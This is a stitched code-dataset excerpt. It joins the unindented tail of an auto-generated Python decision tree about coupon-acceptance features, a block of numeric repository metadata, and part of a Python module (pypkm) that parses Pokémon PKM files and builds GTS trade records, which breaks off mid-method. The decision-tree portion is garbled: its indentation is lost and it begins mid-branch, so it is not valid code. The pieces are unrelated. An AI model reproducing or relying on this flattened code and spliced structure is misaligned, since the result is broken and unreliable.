# {"feature": "Time", "instances": 17, "metric_value": 0.1991, "depth": 9}
if obj[1]>0:
# {"feature": "Direction_same", "instances": 13, "metric_value": 0.2604, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
elif obj[1]<=0:
return 'False'
else: return 'False'
elif obj[0]>1:
return 'True'
else: return 'True'
else: return 'False'
else: return 'False'
elif obj[7]<=0.0:
# {"feature": "Coffeehouse", "instances": 46, "metric_value": 0.0425, "depth": 6}
if obj[6]>-1.0:
# {"feature": "Passanger", "instances": 45, "metric_value": 0.0356, "depth": 7}
if obj[0]<=2:
return 'False'
elif obj[0]>2:
# {"feature": "Time", "instances": 5, "metric_value": 0.2, "depth": 8}
if obj[1]>2:
return 'False'
elif obj[1]<=2:
# {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 9}
if obj[8]<=0:
# {"feature": "Distance", "instances": 2, "metric_value": 0.5, "depth": 10}
if obj[9]<=2:
return 'False'
else: return 'False'
else: return 'False'
else: return 'False'
else: return 'False'
elif obj[6]<=-1.0:
return 'True'
else: return 'True'
else: return 'False'
elif obj[3]>3:
# {"feature": "Coffeehouse", "instances": 18, "metric_value": 0.4, "depth": 5}
if obj[6]<=1.0:
# {"feature": "Distance", "instances": 15, "metric_value": 0.3692, "depth": 6}
if obj[9]<=2:
# {"feature": "Passanger", "instances": 13, "metric_value": 0.3462, "depth": 7}
if obj[0]>0:
# {"feature": "Direction_same", "instances": 12, "metric_value": 0.3333, "depth": 8}
if obj[8]<=0:
# {"feature": "Time", "instances": 9, "metric_value": 0.381, "depth": 9}
if obj[1]<=3:
# {"feature": "Restaurant20to50", "instances": 7, "metric_value": 0.4857, "depth": 10}
if obj[7]<=0.0:
return 'False'
elif obj[7]>0.0:
return 'False'
else: return 'False'
elif obj[1]>3:
return 'False'
else: return 'False'
elif obj[8]>0:
return 'False'
else: return 'False'
elif obj[0]<=0:
return 'True'
else: return 'True'
elif obj[9]>2:
return 'True'
else: return 'True'
elif obj[6]>1.0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'False'
elif obj[5]>1.0:
# {"feature": "Restaurant20to50", "instances": 680, "metric_value": 0.4641, "depth": 3}
if obj[7]<=1.0:
# {"feature": "Time", "instances": 365, "metric_value": 0.4856, "depth": 4}
if obj[1]>0:
# {"feature": "Passanger", "instances": 267, "metric_value": 0.4792, "depth": 5}
if obj[0]<=2:
# {"feature": "Occupation", "instances": 207, "metric_value": 0.4675, "depth": 6}
if obj[4]<=14.155999220544217:
# {"feature": "Distance", "instances": 174, "metric_value": 0.4853, "depth": 7}
if obj[9]<=2:
# {"feature": "Coffeehouse", "instances": 128, "metric_value": 0.483, "depth": 8}
if obj[6]>-1.0:
# {"feature": "Education", "instances": 125, "metric_value": 0.4898, "depth": 9}
if obj[3]<=3:
# {"feature": "Direction_same", "instances": 119, "metric_value": 0.4906, "depth": 10}
if obj[8]<=0:
return 'False'
elif obj[8]>0:
return 'False'
else: return 'False'
elif obj[3]>3:
# {"feature": "Direction_same", "instances": 6, "metric_value": 0.4444, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[6]<=-1.0:
return 'False'
else: return 'False'
elif obj[9]>2:
# {"feature": "Coffeehouse", "instances": 46, "metric_value": 0.4536, "depth": 8}
if obj[6]<=3.0:
# {"feature": "Education", "instances": 40, "metric_value": 0.4677, "depth": 9}
if obj[3]>0:
# {"feature": "Direction_same", "instances": 29, "metric_value": 0.4946, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[3]<=0:
# {"feature": "Direction_same", "instances": 11, "metric_value": 0.3967, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[6]>3.0:
# {"feature": "Education", "instances": 6, "metric_value": 0.2222, "depth": 9}
if obj[3]>0:
return 'True'
elif obj[3]<=0:
# {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
elif obj[4]>14.155999220544217:
# {"feature": "Coffeehouse", "instances": 33, "metric_value": 0.2857, "depth": 7}
if obj[6]<=3.0:
# {"feature": "Distance", "instances": 28, "metric_value": 0.3222, "depth": 8}
if obj[9]>1:
# {"feature": "Education", "instances": 18, "metric_value": 0.3571, "depth": 9}
if obj[3]<=2:
# {"feature": "Direction_same", "instances": 14, "metric_value": 0.3956, "depth": 10}
if obj[8]<=0:
return 'False'
elif obj[8]>0:
return 'True'
else: return 'True'
elif obj[3]>2:
return 'False'
else: return 'False'
elif obj[9]<=1:
# {"feature": "Education", "instances": 10, "metric_value": 0.1, "depth": 9}
if obj[3]<=2:
return 'False'
elif obj[3]>2:
# {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'False'
elif obj[6]>3.0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[0]>2:
# {"feature": "Occupation", "instances": 60, "metric_value": 0.4169, "depth": 6}
if obj[4]>0:
# {"feature": "Coffeehouse", "instances": 59, "metric_value": 0.3999, "depth": 7}
if obj[6]<=2.0:
# {"feature": "Education", "instances": 43, "metric_value": 0.4543, "depth": 8}
if obj[3]<=2:
# {"feature": "Distance", "instances": 40, "metric_value": 0.4524, "depth": 9}
if obj[9]>1:
# {"feature": "Direction_same", "instances": 33, "metric_value": 0.4444, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[9]<=1:
# {"feature": "Direction_same", "instances": 7, "metric_value": 0.4898, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[3]>2:
# {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 9}
if obj[8]<=0:
# {"feature": "Distance", "instances": 3, "metric_value": 0.4444, "depth": 10}
if obj[9]<=2:
return 'False'
else: return 'False'
else: return 'False'
else: return 'False'
elif obj[6]>2.0:
# {"feature": "Education", "instances": 16, "metric_value": 0.1786, "depth": 8}
if obj[3]<=2:
# {"feature": "Distance", "instances": 14, "metric_value": 0.131, "depth": 9}
if obj[9]>1:
# {"feature": "Direction_same", "instances": 12, "metric_value": 0.1528, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[9]<=1:
return 'True'
else: return 'True'
elif obj[3]>2:
# {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 9}
if obj[8]<=0:
# {"feature": "Distance", "instances": 2, "metric_value": 0.5, "depth": 10}
if obj[9]<=2:
return 'False'
else: return 'False'
else: return 'False'
else: return 'False'
else: return 'True'
elif obj[4]<=0:
return 'False'
else: return 'False'
else: return 'True'
elif obj[1]<=0:
# {"feature": "Passanger", "instances": 98, "metric_value": 0.4319, "depth": 5}
if obj[0]<=1:
# {"feature": "Distance", "instances": 90, "metric_value": 0.4178, "depth": 6}
if obj[9]<=1:
# {"feature": "Occupation", "instances": 46, "metric_value": 0.3188, "depth": 7}
if obj[4]>3:
# {"feature": "Coffeehouse", "instances": 33, "metric_value": 0.4167, "depth": 8}
if obj[6]<=2.0:
# {"feature": "Education", "instances": 25, "metric_value": 0.4762, "depth": 9}
if obj[3]<=2:
# {"feature": "Direction_same", "instances": 21, "metric_value": 0.4717, "depth": 10}
if obj[8]<=1:
return 'True'
else: return 'True'
elif obj[3]>2:
# {"feature": "Direction_same", "instances": 4, "metric_value": 0.5, "depth": 10}
if obj[8]<=1:
return 'False'
else: return 'False'
else: return 'False'
elif obj[6]>2.0:
# {"feature": "Education", "instances": 8, "metric_value": 0.125, "depth": 9}
if obj[3]<=2:
return 'True'
elif obj[3]>2:
# {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 10}
if obj[8]<=1:
return 'False'
else: return 'False'
else: return 'False'
else: return 'True'
elif obj[4]<=3:
return 'True'
else: return 'True'
elif obj[9]>1:
# {"feature": "Occupation", "instances": 44, "metric_value": 0.4325, "depth": 7}
if obj[4]>4:
# {"feature": "Education", "instances": 33, "metric_value": 0.3866, "depth": 8}
if obj[3]>0:
# {"feature": "Coffeehouse", "instances": 23, "metric_value": 0.4551, "depth": 9}
if obj[6]<=2.0:
# {"feature": "Direction_same", "instances": 15, "metric_value": 0.4978, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[6]>2.0:
# {"feature": "Direction_same", "instances": 8, "metric_value": 0.375, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[3]<=0:
# {"feature": "Direction_same", "instances": 10, "metric_value": 0.0, "depth": 9}
if obj[8]<=0:
return 'True'
elif obj[8]>0:
return 'False'
else: return 'False'
else: return 'True'
elif obj[4]<=4:
# {"feature": "Coffeehouse", "instances": 11, "metric_value": 0.3697, "depth": 8}
if obj[6]>1.0:
# {"feature": "Education", "instances": 6, "metric_value": 0.1667, "depth": 9}
if obj[3]>0:
return 'False'
elif obj[3]<=0:
# {"feature": "Direction_same", "instances": 2, "metric_value": 0.0, "depth": 10}
if obj[8]<=0:
return 'False'
elif obj[8]>0:
return 'True'
else: return 'True'
else: return 'False'
elif obj[6]<=1.0:
# {"feature": "Education", "instances": 5, "metric_value": 0.4, "depth": 9}
if obj[3]<=0:
# {"feature": "Direction_same", "instances": 4, "metric_value": 0.5, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[3]>0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'False'
else: return 'True'
elif obj[0]>1:
# {"feature": "Occupation", "instances": 8, "metric_value": 0.3, "depth": 6}
if obj[4]<=6:
# {"feature": "Distance", "instances": 5, "metric_value": 0.3, "depth": 7}
if obj[9]>1:
# {"feature": "Coffeehouse", "instances": 4, "metric_value": 0.25, "depth": 8}
if obj[6]<=2.0:
return 'True'
elif obj[6]>2.0:
# {"feature": "Education", "instances": 2, "metric_value": 0.5, "depth": 9}
if obj[3]<=2:
# {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
else: return 'False'
else: return 'False'
elif obj[9]<=1:
return 'False'
else: return 'False'
elif obj[4]>6:
return 'False'
else: return 'False'
else: return 'False'
else: return 'True'
elif obj[7]>1.0:
# {"feature": "Education", "instances": 315, "metric_value": 0.417, "depth": 4}
if obj[3]>1:
# {"feature": "Time", "instances": 197, "metric_value": 0.451, "depth": 5}
if obj[1]>0:
# {"feature": "Passanger", "instances": 150, "metric_value": 0.4737, "depth": 6}
if obj[0]<=2:
# {"feature": "Coffeehouse", "instances": 119, "metric_value": 0.462, "depth": 7}
if obj[6]<=3.0:
# {"feature": "Occupation", "instances": 94, "metric_value": 0.4693, "depth": 8}
if obj[4]<=17:
# {"feature": "Distance", "instances": 82, "metric_value": 0.4883, "depth": 9}
if obj[9]>1:
# {"feature": "Direction_same", "instances": 49, "metric_value": 0.4624, "depth": 10}
if obj[8]<=0:
return 'False'
elif obj[8]>0:
return 'True'
else: return 'True'
elif obj[9]<=1:
# {"feature": "Direction_same", "instances": 33, "metric_value": 0.4953, "depth": 10}
if obj[8]<=0:
return 'True'
elif obj[8]>0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[4]>17:
# {"feature": "Distance", "instances": 12, "metric_value": 0.2333, "depth": 9}
if obj[9]>1:
# {"feature": "Direction_same", "instances": 10, "metric_value": 0.175, "depth": 10}
if obj[8]<=0:
return 'True'
elif obj[8]>0:
return 'True'
else: return 'True'
elif obj[9]<=1:
# {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
elif obj[6]>3.0:
# {"feature": "Direction_same", "instances": 25, "metric_value": 0.2087, "depth": 8}
if obj[8]<=0:
# {"feature": "Occupation", "instances": 23, "metric_value": 0.2008, "depth": 9}
if obj[4]<=12:
# {"feature": "Distance", "instances": 21, "metric_value": 0.1655, "depth": 10}
if obj[9]>1:
return 'True'
elif obj[9]<=1:
return 'True'
else: return 'True'
elif obj[4]>12:
# {"feature": "Distance", "instances": 2, "metric_value": 0.5, "depth": 10}
if obj[9]<=1:
return 'True'
else: return 'True'
else: return 'True'
elif obj[8]>0:
return 'False'
else: return 'False'
else: return 'True'
elif obj[0]>2:
# {"feature": "Coffeehouse", "instances": 31, "metric_value": 0.2184, "depth": 7}
if obj[6]<=3.0:
# {"feature": "Occupation", "instances": 26, "metric_value": 0.1918, "depth": 8}
if obj[4]<=17:
# {"feature": "Distance", "instances": 23, "metric_value": 0.1556, "depth": 9}
if obj[9]>1:
# {"feature": "Direction_same", "instances": 19, "metric_value": 0.1884, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[9]<=1:
return 'True'
else: return 'True'
elif obj[4]>17:
# {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 9}
if obj[8]<=0:
# {"feature": "Distance", "instances": 3, "metric_value": 0.4444, "depth": 10}
if obj[9]<=2:
return 'False'
else: return 'False'
else: return 'False'
else: return 'False'
elif obj[6]>3.0:
return 'False'
else: return 'False'
else: return 'True'
elif obj[1]<=0:
# {"feature": "Direction_same", "instances": 47, "metric_value": 0.3225, "depth": 6}
if obj[8]<=0:
# {"feature": "Coffeehouse", "instances": 25, "metric_value": 0.426, "depth": 7}
if obj[6]>1.0:
# {"feature": "Passanger", "instances": 18, "metric_value": 0.3519, "depth": 8}
if obj[0]>0:
# {"feature": "Occupation", "instances": 12, "metric_value": 0.2381, "depth": 9}
if obj[4]<=7:
# {"feature": "Distance", "instances": 7, "metric_value": 0.4082, "depth": 10}
if obj[9]<=2:
return 'True'
else: return 'True'
elif obj[4]>7:
return 'True'
else: return 'True'
elif obj[0]<=0:
# {"feature": "Occupation", "instances": 6, "metric_value": 0.4, "depth": 9}
if obj[4]<=12:
# {"feature": "Distance", "instances": 5, "metric_value": 0.48, "depth": 10}
if obj[9]<=2:
return 'True'
else: return 'True'
elif obj[4]>12:
return 'False'
else: return 'False'
else: return 'False'
elif obj[6]<=1.0:
# {"feature": "Passanger", "instances": 7, "metric_value": 0.2286, "depth": 8}
if obj[0]>0:
# {"feature": "Occupation", "instances": 5, "metric_value": 0.2, "depth": 9}
if obj[4]<=9:
return 'False'
elif obj[4]>9:
# {"feature": "Distance", "instances": 2, "metric_value": 0.5, "depth": 10}
if obj[9]<=2:
return 'True'
else: return 'True'
else: return 'True'
elif obj[0]<=0:
return 'True'
else: return 'True'
else: return 'False'
elif obj[8]>0:
# {"feature": "Occupation", "instances": 22, "metric_value": 0.0909, "depth": 7}
if obj[4]<=16:
return 'True'
elif obj[4]>16:
# {"feature": "Coffeehouse", "instances": 4, "metric_value": 0.3333, "depth": 8}
if obj[6]>0.0:
# {"feature": "Passanger", "instances": 3, "metric_value": 0.4444, "depth": 9}
if obj[0]<=1:
# {"feature": "Distance", "instances": 3, "metric_value": 0.4444, "depth": 10}
if obj[9]<=1:
return 'False'
else: return 'False'
else: return 'False'
elif obj[6]<=0.0:
return 'True'
else: return 'True'
else: return 'False'
else: return 'True'
else: return 'True'
elif obj[3]<=1:
# {"feature": "Occupation", "instances": 118, "metric_value": 0.3338, "depth": 5}
if obj[4]>7:
# {"feature": "Time", "instances": 64, "metric_value": 0.2462, "depth": 6}
if obj[1]<=2:
# {"feature": "Coffeehouse", "instances": 38, "metric_value": 0.1373, "depth": 7}
if obj[6]<=2.0:
# {"feature": "Direction_same", "instances": 23, "metric_value": 0.1978, "depth": 8}
if obj[8]<=0:
# {"feature": "Distance", "instances": 17, "metric_value": 0.1078, "depth": 9}
if obj[9]<=2:
# {"feature": "Passanger", "instances": 12, "metric_value": 0.15, "depth": 10}
if obj[0]>0:
return 'True'
elif obj[0]<=0:
return 'True'
else: return 'True'
elif obj[9]>2:
return 'True'
else: return 'True'
elif obj[8]>0:
# {"feature": "Passanger", "instances": 6, "metric_value": 0.4444, "depth": 9}
if obj[0]<=1:
# {"feature": "Distance", "instances": 6, "metric_value": 0.4444, "depth": 10}
if obj[9]<=1:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
elif obj[6]>2.0:
return 'True'
else: return 'True'
elif obj[1]>2:
# {"feature": "Passanger", "instances": 26, "metric_value": 0.3401, "depth": 7}
if obj[0]<=2:
# {"feature": "Direction_same", "instances": 19, "metric_value": 0.4145, "depth": 8}
if obj[8]<=0:
# {"feature": "Distance", "instances": 16, "metric_value": 0.4667, "depth": 9}
if obj[9]<=2:
# {"feature": "Coffeehouse", "instances": 15, "metric_value": 0.4636, "depth": 10}
if obj[6]>0.0:
return 'False'
elif obj[6]<=0.0:
return 'True'
else: return 'True'
elif obj[9]>2:
return 'True'
else: return 'True'
elif obj[8]>0:
return 'True'
else: return 'True'
elif obj[0]>2:
return 'True'
else: return 'True'
else: return 'True'
elif obj[4]<=7:
# {"feature": "Coffeehouse", "instances": 54, "metric_value": 0.3991, "depth": 6}
if obj[6]>0.0:
# {"feature": "Distance", "instances": 49, "metric_value": 0.4314, "depth": 7}
if obj[9]<=2:
# {"feature": "Direction_same", "instances": 43, "metric_value": 0.4197, "depth": 8}
if obj[8]<=0:
# {"feature": "Passanger", "instances": 31, "metric_value": 0.4334, "depth": 9}
if obj[0]<=2:
# {"feature": "Time", "instances": 23, "metric_value": 0.4503, "depth": 10}
if obj[1]<=3:
return 'True'
elif obj[1]>3:
return 'True'
else: return 'True'
elif obj[0]>2:
# {"feature": "Time", "instances": 8, "metric_value": 0.3571, "depth": 10}
if obj[1]<=3:
return 'True'
elif obj[1]>3:
return 'True'
else: return 'True'
else: return 'True'
elif obj[8]>0:
# {"feature": "Time", "instances": 12, "metric_value": 0.3636, "depth": 9}
if obj[1]<=1:
# {"feature": "Passanger", "instances": 11, "metric_value": 0.3967, "depth": 10}
if obj[0]<=1:
return 'True'
else: return 'True'
elif obj[1]>1:
return 'True'
else: return 'True'
else: return 'True'
elif obj[9]>2:
# {"feature": "Passanger", "instances": 6, "metric_value": 0.4, "depth": 8}
if obj[0]>0:
# {"feature": "Time", "instances": 5, "metric_value": 0.48, "depth": 9}
if obj[1]<=1:
# {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[0]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[6]<=0.0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
else: return 'False'
| 39.79373
| 212
| 0.495524
| 10,919
| 87,586
| 3.916751
| 0.048906
| 0.125517
| 0.136928
| 0.127669
| 0.920172
| 0.833633
| 0.81598
| 0.71962
| 0.65132
| 0.600463
| 0
| 0.104662
| 0.314274
| 87,586
| 2,200
| 213
| 39.811818
| 0.607409
| 0.445505
| 0
| 0.971963
| 0
| 0
| 0.079165
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.000584
| false
| 0
| 0
| 0
| 0.215537
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
185514b2f8ddb55055d87a437a5084b6fb82bd52
| 17,317
|
py
|
Python
|
pypkm/pkm.py
|
ceol/pypkm
|
1044e8cd3ee64980700ec2910b3fd3184f3f1eed
|
[
"BSD-2-Clause-FreeBSD"
] | 6
|
2015-12-02T10:37:47.000Z
|
2022-01-30T07:47:23.000Z
|
pypkm/pkm.py
|
ceol/pypkm
|
1044e8cd3ee64980700ec2910b3fd3184f3f1eed
|
[
"BSD-2-Clause-FreeBSD"
] | null | null | null |
pypkm/pkm.py
|
ceol/pypkm
|
1044e8cd3ee64980700ec2910b3fd3184f3f1eed
|
[
"BSD-2-Clause-FreeBSD"
] | 1
|
2021-03-24T02:03:06.000Z
|
2021-03-24T02:03:06.000Z
|
# coding=utf-8
"""Retrieve Pokémon information from a PKM file."""
__author__ = 'Patrick Jacobs <ceolwulf@gmail.com>'
import datetime
import struct
from pypkm.structs import gen4, gen5
from pypkm.crypto import checksum, encrypt, decrypt
from pypkm.sqlite import get_level, get_nature, get_basestats
from pypkm.util import calcstat, LengthError
class StructData(object):
"""A wrapper class for the construct Container object."""
# Constructor Struct object
_strc = None
# Construct Container object
_ctnr = None
def __getattr__(self, attr):
return getattr(self._ctnr, attr)
def __setattr__(self, attr, value):
if hasattr(self._ctnr, attr):
setattr(self._ctnr, attr, value)
else:
self.__dict__[attr] = value
def _load(self, strc, data):
self._strc = strc
self._ctnr = self._strc.parse(data)
def tostring(self):
data = self._strc.build(self._ctnr)
return data
class PkmData(StructData):
"""A base class for Pokémon data."""
def tostring(self):
data = super(PkmData, self).tostring()
# we need to recalculate the checksum when we build...
# since building removes any trash bytes in the nickname and
# ot name fields, if you're just reading the file, you should
# store the loaded data instead of using tostring()
chksum = checksum(data[0x08:])
packed = struct.pack('<H', chksum)
data = ''.join([
data[:0x06],
packed,
data[0x08:],
])
return data
class Gen4BoxPkm(PkmData):
def __init__(self, data=None):
if data is None:
data = '\x00' * 136
elif len(data) != 136:
raise LengthError(136, len(data))
self._load(gen4.pkm_struct, data)
def toparty(self):
# even if it's already a party file, we should process it
data = self.tostring()[:136]
# create empty data to load into Struct
data = ''.join([data, '\x00' * 100])
new_pkm = Gen4PartyPkm(data)
new_pkm.level = get_level(pokemon_id=new_pkm.id, exp=new_pkm.exp)
nature = get_nature(new_pkm.pv % 25)
base_stats = get_basestats(pokemon_id=new_pkm.id)
new_pkm.stats.current_hp = calcstat(iv=new_pkm.ivs.hp, ev=new_pkm.evs.hp, base=base_stats[0],
level=new_pkm.level, nature_stat=None)
new_pkm.stats.max_hp = new_pkm.stats.current_hp
new_pkm.stats.attack = calcstat(iv=new_pkm.ivs.attack, ev=new_pkm.evs.attack, base=base_stats[1],
level=new_pkm.level, nature_stat=nature[2])
new_pkm.stats.defense = calcstat(iv=new_pkm.ivs.defense, ev=new_pkm.evs.defense, base=base_stats[2],
level=new_pkm.level, nature_stat=nature[3])
new_pkm.stats.speed = calcstat(iv=new_pkm.ivs.speed, ev=new_pkm.evs.speed, base=base_stats[3],
level=new_pkm.level, nature_stat=nature[4])
new_pkm.stats.spattack = calcstat(iv=new_pkm.ivs.spattack, ev=new_pkm.evs.spattack, base=base_stats[4],
level=new_pkm.level, nature_stat=nature[5])
new_pkm.stats.spdefense = calcstat(iv=new_pkm.ivs.spdefense, ev=new_pkm.evs.spdefense, base=base_stats[5],
level=new_pkm.level, nature_stat=nature[6])
return new_pkm
def togtsserver(self):
# have to do this in case our old data isn't party
obj = self
# check if it's a party file (this hopefully saves us from
# building data twice)
try:
obj.level
except AttributeError:
obj = self.toparty()
# pkm data sent over the GTS is both party and encrypted
data = encrypt(obj.tostring())
# create empty data to load into Struct
gts = Gen4ServerPkm('\x00' * 292)
gts.encrypted_pkm = data
gts.id = obj.id
if obj.is_genderless:
gts.gender = 0x03
elif obj.is_female:
gts.gender = 0x02
else:
gts.gender = 0x01
gts.level = obj.level
gts.requested.id = 1 # bulbasaur
gts.requested.gender = 0x02 # female
gts.requested.min_level = 0 # any
gts.requested.max_level = 0 # any
if obj.ot_is_female:
gts.ot_gender = 0x01
now = datetime.datetime.now()
gts.deposited_time.year = now.year
gts.deposited_time.month = now.month
gts.deposited_time.day = now.day
gts.deposited_time.hour = now.hour
gts.deposited_time.minute = now.minute
gts.deposited_time.second = now.second
gts.traded_time.year = now.year
gts.traded_time.month = now.month
gts.traded_time.day = now.day
gts.traded_time.hour = now.hour
gts.traded_time.minute = now.minute
gts.traded_time.second = now.second
gts.pv = obj.pv
gts.ot_name = obj.ot_name
gts.ot_id = obj.ot_id
gts.country = 0xDB # not sure, taken from ir-gts
gts.city = 0x02 # not sure, taken from ir-gts
if gts.ot_gender == 0x01:
# if female, set to lass; if male, leave at 0 for youngster
gts.ot_sprite = 0x08
gts.is_exchanged = True
gts.version = 0x08 # soulsilver version
gts.language = obj.language
return gts
def togtsclient(self):
# have to do this in case our old data isn't party
obj = self
# check if it's a party file (this hopefully saves us from
# building data twice)
try:
obj.level
except AttributeError:
obj = self.toparty()
# pkm data sent over the GTS is both party and encrypted
data = encrypt(obj.tostring())
# create empty data to load into Struct
gts = Gen4ClientPkm('\x00' * 296)
gts.encrypted_pkm = data
gts.id = obj.id
if obj.is_genderless:
gts.gender = 0x03
elif obj.is_female:
gts.gender = 0x02
else:
gts.gender = 0x01
gts.level = obj.level
gts.requested.id = 1 # bulbasaur
gts.requested.gender = 0x02 # female
gts.requested.min_level = 0 # any
gts.requested.max_level = 0 # any
if obj.ot_is_female:
gts.ot_gender = 0x01
now = datetime.datetime.now()
gts.deposited_time.year = now.year
gts.deposited_time.month = now.month
gts.deposited_time.day = now.day
gts.deposited_time.hour = now.hour
gts.deposited_time.minute = now.minute
gts.deposited_time.second = now.second
gts.traded_time.year = now.year
gts.traded_time.month = now.month
gts.traded_time.day = now.day
gts.traded_time.hour = now.hour
gts.traded_time.minute = now.minute
gts.traded_time.second = now.second
gts.pv = obj.pv
gts.ot_name = obj.ot_name
gts.ot_id = obj.ot_id
gts.country = 0xDB # not sure, taken from ir-gts
gts.city = 0x02 # not sure, taken from ir-gts
if gts.ot_gender == 0x01:
# if female, set to lass; if male, leave at 0 for youngster
gts.ot_sprite = 0x08
gts.is_exchanged = True
gts.version = 0x08 # soulsilver version
gts.language = obj.language
return gts
def togen5(self):
data = self.tostring()
if len(data) == 236:
# shave off the unused data if it's a party file. we don't
# need to for pc files because they're the same size
# between gens
data = data[:220]
new_pkm = Gen5PartyPkm(data)
else:
new_pkm = Gen5BoxPkm(data)
# nature gets its own byte in gen 5
new_pkm.nature = new_pkm.pv % 25
# the stringadapters automatically return unicode, and gen 5's
# string encoding is unicode, so leverage the work we've
# already done
new_pkm.nickname = self.nickname
new_pkm.ot_name = self.ot_name
# set locations to faraway place; there's only one location set
# at a time (either the pkm was met in the wild or received as
# an egg)
if new_pkm.egg_location != 0:
new_pkm.egg_location = 2
if new_pkm.met_location != 0:
new_pkm.met_location = 2
return new_pkm
class Gen4PartyPkm(Gen4BoxPkm):
def __init__(self, data=None):
if data is None:
data = '\x00' * 236
elif len(data) != 236:
raise LengthError(236, len(data))
self._load(gen4.pkm_party_struct, data)
class Gen5BoxPkm(PkmData):
def __init__(self, data=None):
if data is None:
data = '\x00' * 136
elif len(data) != 136:
raise LengthError(136, len(data))
self._load(gen5.pkm_struct, data)
def toparty(self):
# even if it's already a party file, we should process it
data = self.tostring()[:136]
# create empty data to load into Struct
data = ''.join([data, '\x00' * 100])
new_pkm = Gen5PartyPkm(data)
new_pkm.level = get_level(pokemon_id=new_pkm.id, exp=new_pkm.exp)
nature = get_nature(new_pkm.pv % 25)
base_stats = get_basestats(pokemon_id=new_pkm.id)
new_pkm.stats.current_hp = calcstat(iv=new_pkm.ivs.hp, ev=new_pkm.evs.hp, base=base_stats[0],
level=new_pkm.level, nature_stat=None)
new_pkm.stats.max_hp = new_pkm.stats.current_hp
new_pkm.stats.attack = calcstat(iv=new_pkm.ivs.attack, ev=new_pkm.evs.attack, base=base_stats[1],
level=new_pkm.level, nature_stat=nature[2])
new_pkm.stats.defense = calcstat(iv=new_pkm.ivs.defense, ev=new_pkm.evs.defense, base=base_stats[2],
level=new_pkm.level, nature_stat=nature[3])
new_pkm.stats.speed = calcstat(iv=new_pkm.ivs.speed, ev=new_pkm.evs.speed, base=base_stats[3],
level=new_pkm.level, nature_stat=nature[4])
new_pkm.stats.spattack = calcstat(iv=new_pkm.ivs.spattack, ev=new_pkm.evs.spattack, base=base_stats[4],
level=new_pkm.level, nature_stat=nature[5])
new_pkm.stats.spdefense = calcstat(iv=new_pkm.ivs.spdefense, ev=new_pkm.evs.spdefense, base=base_stats[5],
level=new_pkm.level, nature_stat=nature[6])
return new_pkm
def togtsserver(self):
# have to do this in case our old data isn't party
obj = self
# check if it's a party file (this hopefully saves us from
# building data twice)
try:
obj.level
except AttributeError:
obj = self.toparty()
# pkm data sent over the GTS is both party and encrypted
data = encrypt(obj.tostring())
# create empty data to load into Struct
gts = Gen5ServerPkm('\x00' * 296)
gts.encrypted_pkm = data
gts.id = obj.id
if obj.is_genderless:
gts.gender = 0x03
elif obj.is_female:
gts.gender = 0x02
else:
gts.gender = 0x01
gts.level = obj.level
gts.requested.id = 1 # bulbasaur
gts.requested.gender = 0x02 # female
gts.requested.min_level = 0 # any
gts.requested.max_level = 0 # any
if obj.ot_is_female:
gts.ot_gender = 0x01
now = datetime.datetime.now()
gts.deposited_time.year = now.year
gts.deposited_time.month = now.month
gts.deposited_time.day = now.day
gts.deposited_time.hour = now.hour
gts.deposited_time.minute = now.minute
gts.deposited_time.second = now.second
gts.traded_time.year = now.year
gts.traded_time.month = now.month
gts.traded_time.day = now.day
gts.traded_time.hour = now.hour
gts.traded_time.minute = now.minute
gts.traded_time.second = now.second
gts.pv = obj.pv
gts.ot_id = obj.ot_id
gts.ot_secret_id = obj.ot_secret_id
gts.ot_name = obj.ot_name
gts.country = 0xDB # not sure, taken from ir-gts
gts.city = 0x02 # not sure, taken from ir-gts
if gts.ot_gender == 0x01:
# if female, set to lass; if male, leave at 0 for youngster
gts.ot_sprite = 0x08
gts.is_exchanged = True
gts.version = 0x14 # white version
gts.language = obj.language
return gts
def togtsclient(self):
# have to do this in case our old data isn't party
obj = self
# check if it's a party file (this hopefully saves us from
# building data twice)
try:
obj.level
except AttributeError:
obj = self.toparty()
# pkm data sent over the GTS is both party and encrypted
data = encrypt(obj.tostring())
